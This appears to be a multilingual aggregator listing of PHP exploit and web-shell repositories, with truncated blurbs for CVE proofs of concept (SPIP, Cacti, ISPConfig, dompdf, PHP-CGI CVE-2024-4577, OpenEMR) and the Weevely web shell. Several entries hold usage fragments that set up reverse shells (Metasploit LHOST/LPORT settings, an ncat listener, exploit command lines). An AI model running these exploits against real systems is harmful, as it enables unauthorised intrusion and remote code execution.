CVE-2023-27372-SPIP-4.2.1-Unauthenticated-RCE-PoC

CVE-2023-27372 — SPIP Schwachstelle für nicht authentifizierte Remote-Codeausführung in SPIP vor 4.2.1. Der Parameter oubli im Passwort-Reset-Formular ist aufgrund fehlerhafter Deserialisierung anfällig für PHP-Objektinjektion. Ein manipulietter serialisierter Payload wird serverseitig als...

CVE-2025-60736

CVE-2025-60736: Vulnerabilità di SQL Injection nella Guida Medica Online Riepilogo Esecutivo Questo documento descrive una vulnerabilità critica di SQL injection scoperta nell'applicazione web Guida Medica Online. La vulnerabilità consente un accesso non autorizzato al database e comporta rischi...

Cacti cmd_realtime.php - Command Injection

Cacti provides an operational monitoring and fault management framework. A command injection vulnerability on the 1.3.x DEV branch allows any unauthenticated user to execute arbitrary command on the server when registerargcargv option of PHP is On. In cmdrealtime.php line 119, the $pollerid used ...

CVE-2025-32429

CVE-2025-32429 – PHP PDO预处理语句中的SQL注入 此仓库包含一个针对 CVE-2025-32429 的概念验证漏洞利用程序，该漏洞影响启用了模拟功能的 PHP PDO 预处理语句。 📄 参考资料 Assetnote 的原始研究： https://slcyber.io/assetnote-security-research-center/a-novel-technique-for-sql-injection-in-pdos-prepared-statements NVD 条目：...

php-8.1.0-dev-backdoor-rce

PHP 8.1.0-dev बैकडोर रिमोट कोड निष्पादन PHP 8.1.0-dev बैकडोर सिस्टम शेल स्क्रिप्ट PHP संस्करण 8.1.0-dev 28 मार्च 2021 को एक बैकडोर के साथ जारी किया गया था, लेकिन बैकडोर जल्दी ही खोज लिया गया और हटा दिया गया। यदि PHP का यह संस्करण किसी सर्वर पर चलता है, तो एक हमलावर User-Agentt हेडर भेजकर मनमाना क...

php-mt_rand

इस रिपॉजिटरी में README नहीं है।...

CVE-2025-62429

CVE-2025-62429 PoC - clipbucket RCE updatelaunch.php의 PHP 코드 삽입을 통한 RCE 개념 증명 공개: 제가 GHSA-3h9c-7j8r-xc3v를 통해 처음 보고했습니다. ⚠️ 승인된 침투 테스트/연구 목적으로만 사용하세요. 취약점 정보...

weevely3

Weevely - Bewaffnete Web-Shell Description Weevely ist eine Web-Shell, die für Post-Exploitation-Zwecke entwickelt wurde und zur Laufzeit über das Netzwerk erweitert werden kann. Laden Sie den weevely-PHP-Agenten auf einen Ziel-Webserver hoch, um Remote-Shell-Zugriff darauf zu erhalten. Er verfüg...

exploit-CVE-2017-6090

Контейнеризированная уязвимая CVE-2017-6090 Этот проект создаёт контейнер с PhpCollab 2.5.1, содержащий уязвимость удалённого выполнения кода, описанную в CVE-2017-6090. Кроме того, прилагается файл docker-compose для запуска этого контейнера и mysql для демонстрации. Инструкции по эксплуатации —...

Polkit-CVE-2021-4034-HLP

Polkit-CVE-2021-4034-HLP Polkit-CVE-2021-4034-Ausnutzung in einer höheren Programmiersprache Build root@kitploit: make LHOST=ip.or.domain.tld LPORT=8000 Verwendung TCP-Port-Listener öffnen, Beispiel mit ncat auf Loopback root@kitploit: ncat -vl 127.0.0.1 8000 Exploit ausführen root@kitploit: php...

fuckshitup

Agenda FuckShitUp 0.1 - Scanner Multi-Vulnerabilità In pratica, FSU è un insieme di strumenti scritti in PHP-CLI. Utilizzando funzioni integrate, puoi recuperare URL tramite i motori di ricerca - e quindi, fare dorking per file interessanti e full path disclosure. Usando una lista di URL, lo...

CVE-2023-46818

Metasploit 模块 Metasploit 模块 root@kitploit: use exploit/linux/http/ispconfiglanguageedit set RHOSTS target.com set USERNAME admin set PASSWORD password123 set LHOST 127.0.0.1 set LPORT 4444 exploit 在 ISPConfig 3.2.11p1 之前版本中发现了一个问题。如果启用了 adminallowlangedit，管理员可以通过语言文件编辑器实现 PHP 代码注入。...

OpenEMR-RCE

OpenEMR RCE exploit / PoC OpenEMR --shell --user --password --debug exploit.rb semi-auto --root-url --user --password --payload --lhost --lport --debug exploit.rb auto --root-url --user --password --lhost --lport --debug exploit.rb -H | --help Options: -r , --root-url Root URL base path including...

CVE-2026-54806

WP Activity Log Iniezione di Oggetti PHP CVE-2026-54806 PoC 📜 Descrizione CVE-2026-54806 è una vulnerabilità critica CVSS 9.8 di iniezione di oggetti PHP non autenticata nel plugin WP Activity Log per WordPress wp-security-audit-log di Melapress. Un utente malintenzionato non autenticato può...

dompdf-rce

Exploit RCE per dompdf Questo repository contiene un'applicazione demo vulnerabile che utilizza dompdf 1.2.0 e un exploit che consente l'esecuzione remota di codice tramite un file poliglotta ttf+php. Per maggiori dettagli, visita https://positive.security/blog/dompdf-rce Istruzioni 1. Esegui...

dompdf-rce

RCE exploit for dompdf This repository contains a vulnerable demo application using dompdf 1.2.0 and an exploit that achieves remote code execution via a ttf+php polyglot file. For more details, please visit https://positive.security/blog/dompdf-rce Instructions 1. Run the demo application...

CVE-2024-4577

lol CVE-2024-4577 1. comando exploit RCE valore root@kitploit: python3 cek.py --target http://target/index.php --ls --dir /path/to/directory python3 cek.py --target https://target/index.php --dir /path/to/directory python3 cek.py --target https://target/index.php --cat /path/to/directory trova...

textpattern-exploit-rce

Textpattern = 4.8.3 Remote Code Execution Authentifiziert Textpattern bis einschließlich Version 4.8.3 erlaubt authentifizierten Benutzern, beliebige PHP-Dateien hochzuladen. Dieses Skript automatisiert den Prozess und ermöglicht das Löschen der hochgeladenen Datei. Verwendung root@kitploit:...

CVE-2024-4577

सबसे तेज़ CVE-2024-4577 शोषण उपकरण विवरण: PHP CGI रिमोट कोड निष्पादन CVE-2024-4577 एक्सप्लॉइट टूल exploit.py एक Python स्क्रिप्ट है जो वेब सर्वरों की विशिष्ट कमजोरी CVE-2024-4577 का शोषण करने के लिए डिज़ाइन की गई है। प्रतिक्रिया सामग्री के आधार पर, यह प्रदान किए गए होस्टों की सूची में POST अनुरोध...

CVE-2024-25641

CVE-2024-25641 root@kitploit: Exploit Title: Cacti 1.2.26 - RCE Authenticated Date: 06/01/2025 Exploit Author: D3Ext Vendor Homepage: https://cacti.net/ Software Link: https://github.com/Cacti/cacti/archive/refs/tags/release/1.2.26.zip Version: 1.2.26 Tested on: Kali Linux 2024 CVE: CVE-2024-2564...